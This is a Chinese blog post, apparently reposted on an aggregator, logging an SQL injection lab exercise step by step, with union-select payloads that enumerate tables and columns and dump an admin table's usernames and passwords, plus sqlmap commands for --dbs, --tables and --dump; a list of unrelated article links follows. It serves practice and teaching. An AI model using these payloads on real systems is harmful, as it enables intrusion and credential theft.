当前位置: 首页 > news >正文

SQL注入案例

目录

一、简介

二、案例

1.发现注入点

2.寻找注入类型

3.寻找字段数

4.将传参值设为超出数据量的大值,联合查询找到回显位置

5.找到数据库

6.寻找库中的表

7.寻找表中列

8.查看表中数据

附:SQLMap注入

1.输入指令查数据库

2.输入指令查表

3.脱库查看账号密码


一、简介

记录SQL注入的案例练习

二、案例

http://pu2lh35s.ia.aqlab.cn/

1.发现注入点

2.寻找注入类型

,发现?id=1 and 1=1 符合

3.寻找字段数

发现字段数为2

4.将传参值设为超出数据量的大值,联合查询找到回显位置

5.找到数据库

6.寻找库中的表

?id=111111 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

7.寻找表中列

?id=111111 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'--+

8.查看表中数据

?id=111111 union select 1,group_concat(username,‘:’,password) from admin--+

注:用 --+ 对结尾进行注释

附:SQLMap注入(sqlmap -u "x")

1.输入指令查数据库( --dbs)

2.输入指令查表( -D xx --tables)

3.脱库查看账号密码( -D xx -T xxx -C xxxx --dump)

http://www.lryc.cn/news/157832.html

相关文章:

  • lv3 嵌入式开发-5 linux shell命令(进程管理、用户管理)
  • 学习Bootstrap 5的第六天
  • 攻防世界-WEB-NewsCenter
  • vue router 路由跳转获取不到参数
  • 将 Llama2 中文模型接入 FastGPT,再将 FastGPT 接入任意 GPT 套壳应用,真刺激!
  • Ubuntu之apt-get系列--apt-get安装软件的方法/教程
  • redux的理解
  • 【Java】Java 多线程的应用场景
  • Mysql--技术文档--索引-《索引为什么查找数据快?》-超底层详细说明索引
  • jmeter 接口快速创建
  • docker 笔记10:Docker轻量级可视化工具Portainer
  • 028:vue上传解析excel文件,列表中输出内容
  • 在VR全景中嵌入3D模型有哪些优势?
  • c高级day2 linux指令的补充和shell脚本
  • Rabbitmq 常见问题处理
  • 人工智能和大数据:跨境电商如何实现定制化营销?
  • 博物馆网上展厅有哪些用途,如何搭建数字时代的文化宝库
  • shiro反序列化漏洞
  • 无需公网IP,实现外网远程访问管家婆ERP进销存系统的方法
  • C#,《小白学程序》第十三课:阶乘(Factorial)的计算方法与代码
  • 以antd为例 React+Typescript 引入第三方UI库
  • matlab如何遍历文件夹及子文件夹下的所有文件
  • Win11怎么显示隐藏文件
  • Golang专题精进
  • 手游联运平台都具备哪些功能?
  • 98. 验证二叉搜索树
  • Stream API
  • 手写Spring:第3章-实现Bean的定义、注册、获取
  • 这些国外客户真直接
  • 使用Apache Doris自动同步整个 MySQL/Oracle 数据库进行数据分析